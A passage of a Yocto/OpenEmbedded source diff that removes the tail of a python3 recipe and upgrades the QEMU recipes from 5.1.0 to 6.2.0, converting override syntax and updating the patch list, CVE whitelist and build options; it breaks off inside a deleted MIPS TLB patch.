- # This python changes the datastore based on the contents of a file, so mark
- # that dependency.
- bb.parse.mark_dependency(d, filename)
-
- with open(filename) as manifest_file:
- manifest_str = manifest_file.read()
- json_start = manifest_str.find('# EOC') + 6
- manifest_file.seek(json_start)
- manifest_str = manifest_file.read()
- python_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
-
- # First set RPROVIDES for -native case
- # Hardcoded since it cant be python3-native-foo, should be python3-foo-native
- pn = 'python3'
- rprovides = d.getVar('RPROVIDES').split()
-
- # ${PN}-misc-native is not in the manifest
- rprovides.append(pn + '-misc-native')
-
- for key in python_manifest:
- pypackage = pn + '-' + key + '-native'
- if pypackage not in rprovides:
- rprovides.append(pypackage)
-
- d.setVar('RPROVIDES_class-native', ' '.join(rprovides))
-
- # Then work on the target
- include_pycs = d.getVar('INCLUDE_PYCS')
-
- packages = d.getVar('PACKAGES').split()
- pn = d.getVar('PN')
-
- newpackages=[]
- for key in python_manifest:
- pypackage = pn + '-' + key
-
- if pypackage not in packages:
- # We need to prepend, otherwise python-misc gets everything
- # so we use a new variable
- newpackages.append(pypackage)
-
- # "Build" python's manifest FILES, RDEPENDS and SUMMARY
- d.setVar('FILES_' + pypackage, '')
- for value in python_manifest[key]['files']:
- d.appendVar('FILES_' + pypackage, ' ' + value)
-
- # Add cached files
- if include_pycs == '1':
- for value in python_manifest[key]['cached']:
- d.appendVar('FILES_' + pypackage, ' ' + value)
-
- for value in python_manifest[key]['rdepends']:
- # Make it work with or without $PN
- if '${PN}' in value:
- value=value.split('-', 1)[1]
- d.appendVar('RDEPENDS_' + pypackage, ' ' + pn + '-' + value)
-
- for value in python_manifest[key].get('rrecommends', ()):
- if '${PN}' in value:
- value=value.split('-', 1)[1]
- d.appendVar('RRECOMMENDS_' + pypackage, ' ' + pn + '-' + value)
-
- d.setVar('SUMMARY_' + pypackage, python_manifest[key]['summary'])
-
- # Prepending so to avoid python-misc getting everything
- packages = newpackages + packages
- d.setVar('PACKAGES', ' '.join(packages))
- d.setVar('ALLOW_EMPTY_${PN}-modules', '1')
- d.setVar('ALLOW_EMPTY_${PN}-pkgutil', '1')
-}
-
-# Files needed to create a new manifest
-
-do_create_manifest() {
- # This task should be run with every new release of Python.
- # We must ensure that PACKAGECONFIG enables everything when creating
- # a new manifest, this is to base our new manifest on a complete
- # native python build, containing all dependencies, otherwise the task
- # wont be able to find the required files.
- # e.g. BerkeleyDB is an optional build dependency so it may or may not
- # be present, we must ensure it is.
-
- cd ${WORKDIR}
- # This needs to be executed by python-native and NOT by HOST's python
- nativepython3 create_manifest3.py ${PYTHON_MAJMIN}
- cp python3-manifest.json.new ${THISDIR}/python3/python3-manifest.json
-}
-
-# bitbake python -c create_manifest
-addtask do_create_manifest
-
-# Make sure we have native python ready when we create a new manifest
-do_create_manifest[depends] += "${PN}:do_prepare_recipe_sysroot"
-do_create_manifest[depends] += "${PN}:do_patch"
-
-# manual dependency additions
-RRECOMMENDS_${PN}-core_append_class-nativesdk = " nativesdk-python3-modules"
-RRECOMMENDS_${PN}-crypt_append_class-target = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
-RRECOMMENDS_${PN}-crypt_append_class-nativesdk = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
-
-# For historical reasons PN is empty and provided by python3-modules
-FILES_${PN} = ""
-RPROVIDES_${PN}-modules = "${PN}"
-
-FILES_${PN}-pydoc += "${bindir}/pydoc${PYTHON_MAJMIN} ${bindir}/pydoc3"
-FILES_${PN}-idle += "${bindir}/idle3 ${bindir}/idle${PYTHON_MAJMIN}"
-
-# provide python-pyvenv from python3-venv
-RPROVIDES_${PN}-venv += "${MLPREFIX}python3-pyvenv"
-
-# package libpython3
-PACKAGES =+ "libpython3 libpython3-staticdev"
-FILES_libpython3 = "${libdir}/libpython*.so.*"
-FILES_libpython3-staticdev += "${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}-*/libpython${PYTHON_MAJMIN}.a"
-INSANE_SKIP_${PN}-dev += "dev-elf"
-
-# catch all the rest (unsorted)
-PACKAGES += "${PN}-misc"
-RDEPENDS_${PN}-misc += "\
- ${PN}-core \
- ${PN}-email \
- ${PN}-codecs \
- ${PN}-pydoc \
- ${PN}-pickle \
- ${PN}-audio \
- ${PN}-numbers \
-"
-RDEPENDS_${PN}-modules_append_class-target = " ${MLPREFIX}python3-misc"
-RDEPENDS_${PN}-modules_append_class-nativesdk = " ${MLPREFIX}python3-misc"
-FILES_${PN}-misc = "${libdir}/python${PYTHON_MAJMIN} ${libdir}/python${PYTHON_MAJMIN}/lib-dynload"
-
-# catch manpage
-PACKAGES += "${PN}-man"
-FILES_${PN}-man = "${datadir}/man"
-
-# See https://bugs.python.org/issue18748 and https://bugs.python.org/issue37395
-RDEPENDS_libpython3_append_libc-glibc = " libgcc"
-RDEPENDS_${PN}-ctypes_append_libc-glibc = " ${MLPREFIX}ldconfig"
-RDEPENDS_${PN}-ptest = "${PN}-modules ${PN}-tests unzip bzip2 libgcc tzdata-europe coreutils sed"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " locale-base-tr-tr.iso-8859-9"
-RDEPENDS_${PN}-tkinter += "${@bb.utils.contains('PACKAGECONFIG', 'tk', 'tk tk-lib', '', d)}"
-RDEPENDS_${PN}-idle += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${PN}-tkinter tcl', '', d)}"
-RDEPENDS_${PN}-dev = ""
-
-RDEPENDS_${PN}-tests_append_class-target = " ${MLPREFIX}bash"
-RDEPENDS_${PN}-tests_append_class-nativesdk = " ${MLPREFIX}bash"
diff --git a/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb b/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
index ca1ad964dc..08c5ca7700 100644
--- a/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
+++ b/meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb
@@ -1,6 +1,6 @@
SUMMARY = "Qemu helper scripts"
LICENSE = "GPLv2"
-RDEPENDS_${PN} = "nativesdk-qemu \
+RDEPENDS:${PN} = "nativesdk-qemu \
nativesdk-python3-shell nativesdk-python3-fcntl nativesdk-python3-logging \
"
diff --git a/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb b/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
index 2fc07669dd..ccf1c46783 100644
--- a/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
+++ b/meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb
@@ -1,6 +1,6 @@
SUMMARY = "Helper utilities needed by the runqemu script"
LICENSE = "GPLv2"
-RDEPENDS_${PN} = "qemu-system-native"
+RDEPENDS:${PN} = "qemu-system-native"
PR = "r1"
LIC_FILES_CHKSUM = "file://${WORKDIR}/tunctl.c;endline=4;md5=ff3a09996bc5fff6bc5d4e0b4c28f999"
diff --git a/meta/recipes-devtools/qemu/qemu-native.inc b/meta/recipes-devtools/qemu/qemu-native.inc
index aa5c9b9a72..5d3ba3486c 100644
--- a/meta/recipes-devtools/qemu/qemu-native.inc
+++ b/meta/recipes-devtools/qemu/qemu-native.inc
@@ -1,11 +1,11 @@
-inherit native
-
require qemu.inc
-EXTRA_OEMAKE_append = " LD='${LD}' AR='${AR}' OBJCOPY='${OBJCOPY}' LDFLAGS='${LDFLAGS}'"
+inherit native
+
+EXTRA_OEMAKE:append = " LD='${LD}' AR='${AR}' OBJCOPY='${OBJCOPY}' LDFLAGS='${LDFLAGS}'"
-LDFLAGS_append = " -fuse-ld=bfd"
+LDFLAGS:append = " -fuse-ld=bfd"
-do_install_append() {
+do_install:append() {
${@bb.utils.contains('PACKAGECONFIG', 'gtk+', 'make_qemu_wrapper', '', d)}
}
diff --git a/meta/recipes-devtools/qemu/qemu-native_5.1.0.bb b/meta/recipes-devtools/qemu/qemu-native_5.1.0.bb
deleted file mode 100644
index c8acff8e19..0000000000
--- a/meta/recipes-devtools/qemu/qemu-native_5.1.0.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-BPN = "qemu"
-
-DEPENDS = "glib-2.0-native zlib-native"
-
-require qemu-native.inc
-
-EXTRA_OECONF_append = " --target-list=${@get_qemu_usermode_target_list(d)} --disable-tools --disable-blobs --disable-guest-agent"
-
-PACKAGECONFIG ??= ""
diff --git a/meta/recipes-devtools/qemu/qemu-native_6.2.0.bb b/meta/recipes-devtools/qemu/qemu-native_6.2.0.bb
new file mode 100644
index 0000000000..a94dc0b61e
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-native_6.2.0.bb
@@ -0,0 +1,9 @@
+BPN = "qemu"
+
+DEPENDS = "glib-2.0-native zlib-native ninja-native meson-native"
+
+require qemu-native.inc
+
+EXTRA_OECONF:append = " --target-list=${@get_qemu_usermode_target_list(d)} --disable-tools --disable-blobs --disable-guest-agent"
+
+PACKAGECONFIG ??= "pie"
diff --git a/meta/recipes-devtools/qemu/qemu-system-native_5.1.0.bb b/meta/recipes-devtools/qemu/qemu-system-native_5.1.0.bb
deleted file mode 100644
index 222b55cbc6..0000000000
--- a/meta/recipes-devtools/qemu/qemu-system-native_5.1.0.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-BPN = "qemu"
-
-require qemu-native.inc
-
-# As some of the files installed by qemu-native and qemu-system-native
-# are the same, we depend on qemu-native to get the full installation set
-# and avoid file clashes
-DEPENDS = "glib-2.0-native zlib-native pixman-native qemu-native bison-native"
-
-EXTRA_OECONF_append = " --target-list=${@get_qemu_system_target_list(d)}"
-
-PACKAGECONFIG ??= "fdt alsa kvm \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
-"
-
-# Handle distros such as CentOS 5 32-bit that do not have kvm support
-PACKAGECONFIG_remove = "${@'kvm' if not os.path.exists('/usr/include/linux/kvm.h') else ''}"
-
-do_install_append() {
- install -Dm 0755 ${WORKDIR}/powerpc_rom.bin ${D}${datadir}/qemu
-
- # The following is also installed by qemu-native
- rm -f ${D}${datadir}/qemu/trace-events-all
- rm -rf ${D}${datadir}/qemu/keymaps
- rm -rf ${D}${datadir}/icons/
-}
diff --git a/meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb b/meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb
new file mode 100644
index 0000000000..b544ab4e81
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb
@@ -0,0 +1,32 @@
+BPN = "qemu"
+
+inherit python3-dir
+
+require qemu-native.inc
+
+# As some of the files installed by qemu-native and qemu-system-native
+# are the same, we depend on qemu-native to get the full installation set
+# and avoid file clashes
+DEPENDS = "glib-2.0-native zlib-native pixman-native qemu-native bison-native meson-native ninja-native"
+
+EXTRA_OECONF:append = " --target-list=${@get_qemu_system_target_list(d)}"
+
+PACKAGECONFIG ??= "fdt alsa kvm pie \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
+"
+
+# Handle distros such as CentOS 5 32-bit that do not have kvm support
+PACKAGECONFIG:remove = "${@'kvm' if not os.path.exists('/usr/include/linux/kvm.h') else ''}"
+
+do_install:append() {
+ install -Dm 0755 ${WORKDIR}/powerpc_rom.bin ${D}${datadir}/qemu
+
+ # The following is also installed by qemu-native
+ rm -f ${D}${datadir}/qemu/trace-events-all
+ rm -rf ${D}${datadir}/qemu/keymaps
+ rm -rf ${D}${datadir}/icons/
+ rm -rf ${D}${includedir}/qemu-plugin.h
+
+ # Install qmp.py to be used with testimage
+ install -D ${S}/python/qemu/qmp/__init__.py ${D}${libdir}/qemu-python/qmp.py
+}
diff --git a/meta/recipes-devtools/qemu/qemu.inc b/meta/recipes-devtools/qemu/qemu.inc
index 11be545cb5..fe838276be 100644
--- a/meta/recipes-devtools/qemu/qemu.inc
+++ b/meta/recipes-devtools/qemu/qemu.inc
@@ -6,10 +6,10 @@ a variety of guest operating systems"
HOMEPAGE = "http://qemu.org"
LICENSE = "GPLv2 & LGPLv2.1"
-RDEPENDS_${PN}-ptest = "bash make"
+RDEPENDS:${PN}-ptest = "bash"
require qemu-targets.inc
-inherit pkgconfig ptest
+inherit pkgconfig ptest python3-dir
LIC_FILES_CHKSUM = "file://COPYING;md5=441c28d2cf86e15a37fa47e15a72fbac \
file://COPYING.LIB;endline=24;md5=8c5efda6cf1e1b03dcfd0e6c0d271c7f"
@@ -18,53 +18,59 @@ SRC_URI = "https://download.qemu.org/${BPN}-${PV}.tar.xz \
file://powerpc_rom.bin \
file://run-ptest \
file://0001-qemu-Add-missing-wacom-HID-descriptor.patch \
- file://0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch \
file://0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch \
- file://0004-qemu-disable-Valgrind.patch \
- file://0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch \
file://0006-chardev-connect-socket-to-a-spawned-command.patch \
file://0007-apic-fixup-fallthrough-to-PIC.patch \
- file://0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch \
- file://0009-Fix-webkitgtk-builds.patch \
file://0010-configure-Add-pkg-config-handling-for-libgcrypt.patch \
- file://0001-Add-enable-disable-udev.patch \
file://0001-qemu-Do-not-include-file-if-not-exists.patch \
- file://find_datadir.patch \
- file://usb-fix-setup_len-init.patch \
- file://0001-target-mips-Increase-number-of-TLB-entries-on-the-34.patch \
- file://CVE-2020-24352.patch \
+ file://mmap2.patch \
+ file://determinism.patch \
+ file://0001-tests-meson.build-use-relative-path-to-refer-to-file.patch \
+ file://0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch \
"
UPSTREAM_CHECK_REGEX = "qemu-(?P<pver>\d+(\.\d+)+)\.tar"
-SRC_URI[sha256sum] = "c9174eb5933d9eb5e61f541cd6d1184cd3118dfe4c5c4955bc1bdc4d390fa4e5"
+SRC_URI[sha256sum] = "68e15d8e45ac56326e0b9a4afa8b49a3dfe8aba3488221d098c84698bca65b45"
-COMPATIBLE_HOST_mipsarchn32 = "null"
-COMPATIBLE_HOST_mipsarchn64 = "null"
+SRC_URI:append:class-target = " file://cross.patch"
+SRC_URI:append:class-nativesdk = " file://cross.patch"
+
+# Applies against virglrender < 0.6.0 and not qemu itself
+CVE_CHECK_WHITELIST += "CVE-2017-5957"
+
+# The VNC server can expose host files uder some circumstances. We don't
+# enable it by default.
+CVE_CHECK_WHITELIST += "CVE-2007-0998"
+
+# 'The issues identified by this CVE were determined to not constitute a vulnerability.'
+# https://bugzilla.redhat.com/show_bug.cgi?id=1609015#c11
+CVE_CHECK_WHITELIST += "CVE-2018-18438"
+
+COMPATIBLE_HOST:mipsarchn32 = "null"
+COMPATIBLE_HOST:mipsarchn64 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
# Per https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg03873.html
# upstream states qemu doesn't work without optimization
DEBUG_BUILD = "0"
-do_install_append() {
+do_install:append() {
# Prevent QA warnings about installed ${localstatedir}/run
if [ -d ${D}${localstatedir}/run ]; then rmdir ${D}${localstatedir}/run; fi
}
-do_compile_ptest() {
- make buildtest-TESTS
-}
-
do_install_ptest() {
cp -rL ${B}/tests ${D}${PTEST_PATH}
- find ${D}${PTEST_PATH}/tests -type f -name "*.[Sshcod]" | xargs -i rm -rf {}
+ find ${D}${PTEST_PATH}/tests -type f -name "*.[Sshcodp]" | xargs -i rm -rf {}
- cp ${S}/tests/Makefile.include ${D}${PTEST_PATH}/tests
# Don't check the file genreated by configure
- sed -i -e '/wildcard config-host.mak/d' \
- -e '$ {/endif/d}' ${D}${PTEST_PATH}/tests/Makefile.include
- sed -i -e 's,${HOSTTOOLS_DIR}/python3,${bindir}/python3,' \
- ${D}/${PTEST_PATH}/tests/qemu-iotests/common.env
sed -i -e "1s,#!/usr/bin/bash,#!${base_bindir}/bash," ${D}${PTEST_PATH}/tests/data/acpi/disassemle-aml.sh
+
+ # Strip the paths from the QEMU variable, we can use PATH
+ sed -i -e "s#^QEMU=.*/qemu-#QEMU=qemu-#g" ${D}${PTEST_PATH}/tests/tcg/*.mak
+
+ # Strip compiler flags as they break reproducibility
+ sed -i -e "s,CROSS_CC_GUEST=.*,CROSS_CC_GUEST=," ${D}${PTEST_PATH}/tests/tcg/*.mak
}
# QEMU_TARGETS is overridable variable
@@ -81,23 +87,22 @@ EXTRA_OECONF = " \
--sysconfdir=${sysconfdir} \
--libexecdir=${libexecdir} \
--localstatedir=${localstatedir} \
- --with-confsuffix=/${BPN} \
+ --with-suffix=${BPN} \
--disable-strip \
--disable-werror \
--extra-cflags='${CFLAGS}' \
--extra-ldflags='${LDFLAGS}' \
--with-git=/bin/false \
- --disable-git-update \
+ --with-git-submodules=ignore \
+ --meson=meson \
${PACKAGECONFIG_CONFARGS} \
"
-export LIBTOOL="${HOST_SYS}-libtool"
-
B = "${WORKDIR}/build"
-EXTRA_OECONF_append = " --python=${HOSTTOOLS_DIR}/python3"
+#EXTRA_OECONF:append = " --python=${HOSTTOOLS_DIR}/python3"
-do_configure_prepend_class-native() {
+do_configure:prepend:class-native() {
# Append build host pkg-config paths for native target since the host may provide sdl
BHOST_PKGCONFIG_PATH=$(PATH=/usr/bin:/bin pkg-config --variable pc_path pkg-config || echo "")
if [ ! -z "$BHOST_PKGCONFIG_PATH" ]; then
@@ -106,7 +111,11 @@ do_configure_prepend_class-native() {
}
do_configure() {
- ${S}/configure ${EXTRA_OECONF}
+ # This is taken from meson.bbclass to avoid errors when updating to a
+ # new version of meson.
+ rmdir ${STAGING_LIBDIR_NATIVE}/${PYTHON_DIR}/site-packages/*.egg-info 2>/dev/null || :
+
+ ${S}/configure ${EXTRA_OECONF}
}
do_configure[cleandirs] += "${B}"
@@ -121,7 +130,7 @@ do_install () {
# This will trigger a MMU access fault in the virtual CPU. With this change,
# the qemu-mips works fine.
# IMPORTANT: This piece needs to be removed once the root cause is fixed!
-do_install_append() {
+do_install:append() {
if [ -e "${D}/${bindir}/qemu-mips" ]; then
create_wrapper ${D}/${bindir}/qemu-mips \
QEMU_RESERVED_VA=0x0
@@ -141,8 +150,8 @@ make_qemu_wrapper() {
}
# Disable kvm/virgl/mesa on targets that do not support it
-PACKAGECONFIG_remove_darwin = "kvm virglrenderer glx gtk+"
-PACKAGECONFIG_remove_mingw32 = "kvm virglrenderer glx gtk+"
+PACKAGECONFIG:remove:darwin = "kvm virglrenderer glx gtk+"
+PACKAGECONFIG:remove:mingw32 = "kvm virglrenderer glx gtk+"
PACKAGECONFIG[sdl] = "--enable-sdl,--disable-sdl,libsdl2"
PACKAGECONFIG[virtfs] = "--enable-virtfs --enable-attr --enable-cap-ng,--disable-virtfs,libcap-ng attr,"
@@ -163,7 +172,7 @@ PACKAGECONFIG[gcrypt] = "--enable-gcrypt,--disable-gcrypt,libgcrypt,"
PACKAGECONFIG[nettle] = "--enable-nettle,--disable-nettle,nettle"
PACKAGECONFIG[libusb] = "--enable-libusb,--disable-libusb,libusb1"
PACKAGECONFIG[fdt] = "--enable-fdt,--disable-fdt,dtc"
-PACKAGECONFIG[alsa] = "--audio-drv-list='oss alsa',,alsa-lib"
+PACKAGECONFIG[alsa] = "--audio-drv-list=default,,alsa-lib"
PACKAGECONFIG[glx] = "--enable-opengl,--disable-opengl,virtual/libgl"
PACKAGECONFIG[lzo] = "--enable-lzo,--disable-lzo,lzo"
PACKAGECONFIG[numa] = "--enable-numa,--disable-numa,numactl"
@@ -186,7 +195,12 @@ PACKAGECONFIG[rbd] = "--enable-rbd,--disable-rbd,ceph,ceph"
PACKAGECONFIG[vhost] = "--enable-vhost-net,--disable-vhost-net,,"
PACKAGECONFIG[ust] = "--enable-trace-backend=ust,--enable-trace-backend=nop,lttng-ust,"
PACKAGECONFIG[pie] = "--enable-pie,--disable-pie,,"
+PACKAGECONFIG[seccomp] = "--enable-seccomp,--disable-seccomp,libseccomp"
+# libnfs is currently provided by meta-kodi
+PACKAGECONFIG[libnfs] = "--enable-libnfs,--disable-libnfs,libnfs"
+PACKAGECONFIG[pmem] = "--enable-libpmem,--disable-libpmem,pmdk"
+PACKAGECONFIG[pulsedio] = "--enable-pa,--disable-pa,pulseaudio"
-INSANE_SKIP_${PN} = "arch"
+INSANE_SKIP:${PN} = "arch"
-FILES_${PN} += "${datadir}/icons"
+FILES:${PN} += "${datadir}/icons"
diff --git a/meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch b/meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch
deleted file mode 100644
index 1304ee3bfd..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From b921e5204030845dc7c9d16d5f66d965e8d05367 Mon Sep 17 00:00:00 2001
-From: Jeremy Puhlman <jpuhlman@mvista.com>
-Date: Thu, 19 Mar 2020 11:54:26 -0700
-Subject: [PATCH] Add enable/disable libudev
-
-Upstream-Status: Pending
-Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- configure | 4 ++++
- 1 file changed, 4 insertions(+)
-
-Index: qemu-5.1.0/configure
-===================================================================
---- qemu-5.1.0.orig/configure
-+++ qemu-5.1.0/configure
-@@ -1640,6 +1640,10 @@ for opt do
- ;;
- --disable-libdaxctl) libdaxctl=no
- ;;
-+ --enable-libudev) libudev="yes"
-+ ;;
-+ --disable-libudev) libudev="no"
-+ ;;
- *)
- echo "ERROR: unknown option $opt"
- echo "Try '$0 --help' for more information"
diff --git a/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch b/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
index 46c9da08a5..2f2d19f536 100644
--- a/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
+++ b/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
@@ -20,11 +20,11 @@ Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
hw/usb/dev-wacom.c | 94 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 93 insertions(+), 1 deletion(-)
-Index: qemu-5.1.0/hw/usb/dev-wacom.c
+Index: qemu-6.0.0/hw/usb/dev-wacom.c
===================================================================
---- qemu-5.1.0.orig/hw/usb/dev-wacom.c
-+++ qemu-5.1.0/hw/usb/dev-wacom.c
-@@ -74,6 +74,89 @@ static const USBDescStrings desc_strings
+--- qemu-6.0.0.orig/hw/usb/dev-wacom.c
++++ qemu-6.0.0/hw/usb/dev-wacom.c
+@@ -69,6 +69,89 @@ static const USBDescStrings desc_strings
[STR_SERIALNUMBER] = "1",
};
@@ -114,16 +114,16 @@ Index: qemu-5.1.0/hw/usb/dev-wacom.c
static const USBDescIface desc_iface_wacom = {
.bInterfaceNumber = 0,
.bNumEndpoints = 1,
-@@ -91,7 +174,7 @@ static const USBDescIface desc_iface_wac
+@@ -86,7 +169,7 @@ static const USBDescIface desc_iface_wac
0x00, /* u8 country_code */
0x01, /* u8 num_descriptors */
- 0x22, /* u8 type: Report */
+ USB_DT_REPORT, /* u8 type: Report */
- 0x6e, 0, /* u16 len */
-+ sizeof(qemu_tablet_hid_report_descriptor), 0, /* u16 len */
++ sizeof(qemu_tablet_hid_report_descriptor), 0, /* u16 len */
},
},
},
-@@ -271,6 +354,15 @@ static void usb_wacom_handle_control(USB
+@@ -266,6 +349,15 @@ static void usb_wacom_handle_control(USB
}
switch (request) {
diff --git a/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch b/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch
index d6c0f9ebe9..b8d288d3a2 100644
--- a/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch
+++ b/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch
@@ -15,11 +15,11 @@ Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
linux-user/syscall.c | 2 ++
1 file changed, 2 insertions(+)
-Index: qemu-5.1.0/linux-user/syscall.c
+Index: qemu-6.0.0/linux-user/syscall.c
===================================================================
---- qemu-5.1.0.orig/linux-user/syscall.c
-+++ qemu-5.1.0/linux-user/syscall.c
-@@ -109,7 +109,9 @@
+--- qemu-6.0.0.orig/linux-user/syscall.c
++++ qemu-6.0.0/linux-user/syscall.c
+@@ -113,7 +113,9 @@
#include <linux/blkpg.h>
#include <netpacket/packet.h>
#include <linux/netlink.h>
@@ -28,4 +28,4 @@ Index: qemu-5.1.0/linux-user/syscall.c
+#endif
#include <linux/rtc.h>
#include <sound/asound.h>
- #ifdef HAVE_DRM_H
+ #ifdef HAVE_BTRFS_H
diff --git a/meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch b/meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch
new file mode 100644
index 0000000000..ac4b6dcc44
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch
@@ -0,0 +1,40 @@
+From 359dc12eb32b2395cf10796157002024e6a58054 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 15 Dec 2021 23:31:11 -0800
+Subject: [PATCH] riscv: Set 5.4 as minimum kernel version for riscv32
+
+5.4 is first stable API as far as rv32 is concerned see [1]
+
+[1] https://sourceware.org/git/?p=glibc.git;a=commit;h=7a55dd3fb6d2c307a002a16776be84310b9c8989
+
+Upstream-Status: Submitted [https://lists.nongnu.org/archive/html/qemu-devel/2021-12/msg02495.html]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Palmer Dabbelt <palmer@dabbelt.com>
+Cc: Alistair Francis <alistair.francis@wdc.com>
+Cc: Bin Meng <bin.meng@windriver.com>
+Signed-off-by: Matt Madison <matt@madison.systems>
+---
+ linux-user/riscv/target_syscall.h | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/linux-user/riscv/target_syscall.h b/linux-user/riscv/target_syscall.h
+index dc597c897..9b1316132 100644
+--- a/linux-user/riscv/target_syscall.h
++++ b/linux-user/riscv/target_syscall.h
+@@ -45,10 +45,11 @@ struct target_pt_regs {
+
+ #ifdef TARGET_RISCV32
+ #define UNAME_MACHINE "riscv32"
++#define UNAME_MINIMUM_RELEASE "5.4.0"
+ #else
+ #define UNAME_MACHINE "riscv64"
+-#endif
+ #define UNAME_MINIMUM_RELEASE "4.15.0"
++#endif
+
+ #define TARGET_MINSIGSTKSZ 2048
+ #define TARGET_MCL_CURRENT 1
+--
+2.32.0
+
diff --git a/meta/recipes-devtools/qemu/qemu/0001-target-mips-Increase-number-of-TLB-entries-on-the-34.patch b/meta/recipes-devtools/qemu/qemu/0001-target-mips-Increase-number-of-TLB-entries-on-the-34.patch
deleted file mode 100644
index 5227b7cbd2..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0001-target-mips-Increase-number-of-TLB-entries-on-the-34.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From 68fa519a6cb455005317bd61f95214b58b2f1e69 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Philippe=20Mathieu-Daud=C3=A9?= <f4bug@amsat.org>
-Date: Fri, 16 Oct 2020 15:20:37 +0200
-Subject: [PATCH] target/mips: Increase number of TLB entries on the 34Kf core
- (16 -> 64)
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Per "MIPS32 34K Processor Core Family Software User's Manual,
-Revision 01.13" page 8 in "Joint TLB (JTLB)" section:
-
- "The JTLB is a fully associative TLB cache containing 16, 32,
- or 64-dual-entries mapping up to 128 virtual pages to their
- corresponding physical addresses."
-
-There is no particular reason to restrict the 34Kf core model to
-16 TLB entries, so raise its config to 64.
-
-This is helpful for other projects, in particular the Yocto Project:
-
- Yocto Project uses qemu-system-mips 34Kf cpu model, to run 32bit
- MIPS CI loop. It was observed that in this case CI test execution
- time was almost twice longer than 64bit MIPS variant that runs
- under MIPS64R2-generic model. It was investigated and concluded
- that the difference in number of TLBs 16 in 34Kf case vs 64 in
- MIPS64R2-generic is responsible for most of CI real time execution
- difference. Because with 16 TLBs linux user-land trashes TLB more
- and it needs to execute more instructions in TLB refill handler
- calls, as result it runs much longer.
-
-(https://lists.gnu.org/archive/html/qemu-devel/2020-10/msg03428.html)
-
-Buglink: https://bugzilla.yoctoproject.org/show_bug.cgi?id=13992
-Reported-by: Victor Kamensky <kamensky@cisco.com>
-Signed-off-by: Philippe Mathieu-Daudé <f4bug@amsat.org>
-Reviewed-by: Richard Henderson <richard.henderson@linaro.org>
-Message-Id: <20201016133317.553068-1-f4bug@amsat.org>
-
-Upstream-Status: Backport [https://github.com/qemu/qemu/commit/68fa519a6cb455005317bd61f95214b58b2f1e69]
-Signed-off-by: Victor Kamensky <kamensky@cisco.com>
-
----
- target/mips/translate_init.c.inc | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: qemu-5.1.0/target/mips/translate_init.inc.c
-===================================================================
---- qemu-5.1.0.orig/target/mips/translate_init.inc.c
-+++ qemu-5.1.0/target/mips/translate_init.inc.c
-@@ -254,7 +254,7 @@ const mips_def_t mips_defs[] =
- .CP0_PRid = 0x00019500,
- .CP0_Config0 = MIPS_CONFIG0 | (0x1 << CP0C0_AR) |
